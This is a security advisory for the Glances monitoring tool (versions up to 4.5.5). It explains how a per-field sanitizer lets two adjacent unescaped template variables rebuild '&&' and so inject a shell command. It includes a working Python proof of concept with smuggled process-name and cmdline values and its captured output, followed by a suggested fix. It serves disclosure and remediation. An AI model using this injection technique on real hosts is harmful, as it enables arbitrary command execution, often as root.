Summary

The Glances action system lets an administrator configure shell commands that run
when a monitoring threshold is crossed. The command is a Mustache template whose
variables are filled with runtime stat fields such as a process name, a container
name or a filesystem mount point. Those fields are attacker-influenceable: a
local, unprivileged user who starts a process (or a container) controls its name
and command line. The rendered command is executed by secure_popen(), which
interprets &&, | and > as chaining / pipe / redirection operators.

glances/actions.py defends against this with _sanitize_mustache_dict(), which
strips those operators from each individual template value before rendering.
The sanitization is applied per field, but the operators are reconstructed
across the boundary of two adjacent template variables after Mustache
rendering. When an action template concatenates two unescaped variables
({{{a}}}{{{b}}} or {{&a}}{{&b}}) and the attacker makes the first value end
with & and the second begin with &, the rendered command contains a real
&&, and secure_popen() executes the injected command. The single-& in each
value passes the per-field filter untouched.

Affected versions

glances <= 4.5.5 (verified against the published PyPI release 4.5.5, the
latest at the time of writing; glances.__version__ == "4.5.5"). The
per-field sanitizer _sanitize_mustache_dict() is present and active in this
release. Not patched in any released version.

Privilege required

Two roles are involved:

• A local, unprivileged user (or a container the attacker can name) supplies the
  attacker-controlled stat values (process/container name, mount point, etc.).
  This is the same trust boundary the action-template command-injection class
  already recognises: the attacker controls the process name, not the
  configuration.
• An administrator has configured an action whose command template concatenates
  two unescaped Mustache variables with no separating character
  ({{{name}}}{{{cmdline}}}). Unescaped Mustache ({{{ }}} / {{& }}) is a
  documented Chevron feature and is the natural choice when the operator wants a
  value that contains shell-significant characters to reach the command verbatim.

No network access to the target host is required beyond the ability to run a
process (or start a named container) on it.

Vulnerable code (file:line)

glances/actions.py:25-46 — the per-field sanitizer:

# glances/actions.py:25
_SHELL_OPERATORS = ('&&', '|', '>>', '>')

def _sanitize_mustache_dict(mustache_dict):
    """Return a copy of mustache_dict with shell operators replaced by spaces."""
    if not mustache_dict:
        return mustache_dict
    safe = {}
    for k, v in mustache_dict.items():
        if isinstance(v, str):
            for op in _SHELL_OPERATORS:
                v = v.replace(op, ' ')          # per-field only
            safe[k] = v
        else:
            safe[k] = v
    return safe

glances/actions.py:100-111 — sanitize-then-render-then-execute:

# glances/actions.py:100
for cmd in commands:
    if chevron_tag:
        safe_dict = _sanitize_mustache_dict(mustache_dict)
        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here
    else:
        cmd_full = cmd
    ret = secure_popen(cmd_full)                    # operators interpreted

Root cause

_sanitize_mustache_dict() removes &&, |, >>, > from each value in
isolation. It does not remove a lone &, because a single & is not one of the
listed operators. When two values are rendered next to each other by
chevron.render(), a trailing & from the first value and a leading & from the
second value join into a literal && in cmd_full. secure_popen() then
cmd.split('&&') and runs the second half as a separate subprocess.Popen
(shell=False) process. The same reconstruction works for > written as two
adjacent > characters split across the boundary (...> + >... and the
>>/> stripping is per field), and the sanitizer's own choice to sanitize
before, rather than after, rendering is the defect.

This is an incomplete fix of the action-template command-injection issue
(CVE-2026-32608 / GHSA-vcv2-q258-wrg7): _sanitize_mustache_dict() closes the
single-field case but not the cross-field-reconstruction case. The correct place
to enforce the operator ban is on the fully rendered command string (or by never
letting template-variable data introduce operators), not on the pre-render values
one at a time.

Chevron HTML-escapes &, <, >, " inside standard double-brace {{ }}
sections, so double-brace templates neutralise the && reconstruction. The
reconstruction is reachable specifically through unescaped variables
({{{ }}} / {{& }}), which is why the per-field sanitizer is the sole
remaining control on that path.

Reachability / How input reaches sink

1. A local unprivileged user starts a process (or a container) whose name
   ends with & and whose cmdline begins with & <command> (both are stored
   verbatim in the plugin stat item).
2. When the plugin crosses a warning / critical threshold,
   glances/plugins/plugin/model.py calls self.actions.run with the full stat
   item passed as the mustache_dict argument.
3. GlancesActions.run sanitizes each value with _sanitize_mustache_dict()
   (each keeps its single &), then chevron.render() concatenates the two
   adjacent unescaped variables, producing a literal && in the command string.
4. secure_popen(cmd_full) splits on && and runs the attacker's segment as a
   separate subprocess.Popen(shell=False) process.

The trust boundary crossed is process-name / container-name → shell operator,
exactly the boundary the sanitizer was introduced to close.

Reproduction (end-to-end, against pinned version glances==4.5.5)

# 1. Install the latest published release into a clean venv
python3.13 -m venv gv
./gv/bin/pip install "glances==4.5.5"

# 2. Run the reproducer, which drives the real
#    glances.actions.GlancesActions.run() pipeline exactly as
#    glances/plugins/plugin/model.py invokes it on an alert.
./gv/bin/python repro.py

repro.py:

import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions

MARK = "/tmp/glances_crossfield_pwned"
NEG  = MARK + "_neg"
for f in (MARK, NEG):
    try: os.remove(f)
    except FileNotFoundError: pass

class Args:
    time = 0
ga = GlancesActions(args=Args())

# A processlist stat item; a local low-privilege user controls both 'name' and
# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).
# 'name' ends with '&', 'cmdline' begins with '&'  ->  '&&' forms across the boundary.
item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK,
        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}

# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are
# neutralised by chevron HTML-escaping '&' -> '&'.
neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item)
time.sleep(0.3)
print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):",
      "INJECTED" if os.path.exists(NEG) else "blocked (expected)")

# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field
# _sanitize_mustache_dict leaves each single '&'; the '&&' operator is
# reconstructed after chevron.render, then split by secure_popen.
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item)
time.sleep(0.5)
print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):",
      "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")

Captured output (glances 4.5.5, Python 3.13, x86_64 Linux):

NEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)
POSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed

The negative control confirms that the same attacker values under a standard
double-brace template are blocked (chevron escapes &). The positive case shows
the injected touch executing when the template uses two adjacent unescaped
variables: the file /tmp/glances_crossfield_pwned is created by the injected
command, not by the intended logger action.

Impact

• Arbitrary command execution as the OS user running Glances (frequently root on
  monitored hosts) whenever an operator uses an unescaped, adjacent-variable
  action template and an attacker controls two neighbouring stat fields.
• The same reconstruction reaches secure_popen()'s file-redirection (>) and
  pipe (|) handling, allowing arbitrary file write and output piping in
  addition to command chaining.
• The bypass defeats the dedicated _sanitize_mustache_dict() control that was
  added specifically to stop attacker-controlled stat values from injecting shell
  operators.

Suggested fix

Enforce the operator ban on the rendered command string that comes from
template-variable expansion, rather than on the pre-render values in isolation.
One approach that mirrors the existing helper: render each variable, then reject /
neutralise operators in the concatenated result, or strip lone &/redirection
characters that originate from variable data.

def _sanitize_mustache_dict(mustache_dict):
    if not mustache_dict:
        return mustache_dict
    safe = {}
    for k, v in mustache_dict.items():
        if isinstance(v, str):
            # Neutralise every shell-significant character that secure_popen
            # can interpret, including a lone '&' that could pair with an
            # adjacent variable to reconstruct '&&'.
            for ch in ('&', '|', '>', '<'):
                v = v.replace(ch, ' ')
            safe[k] = v
        else:
            safe[k] = v
    return safe

Neutralising the single & (and the single > / |) in each value removes the
cross-field reconstruction because no operator character survives on either side
of a variable boundary. Alternatively, sanitize cmd_full after
chevron.render(), or pass the template-derived data as secure_popen(..., allow_operators=False) when the command originates from stat-field substitution.

Credit

Reported by tonghuaroot.

References

• GHSA-qcpp-8x79-hhp3
• nicolargo/glances@9c280ea
• https://github.com/nicolargo/glances/releases/tag/v4.5.6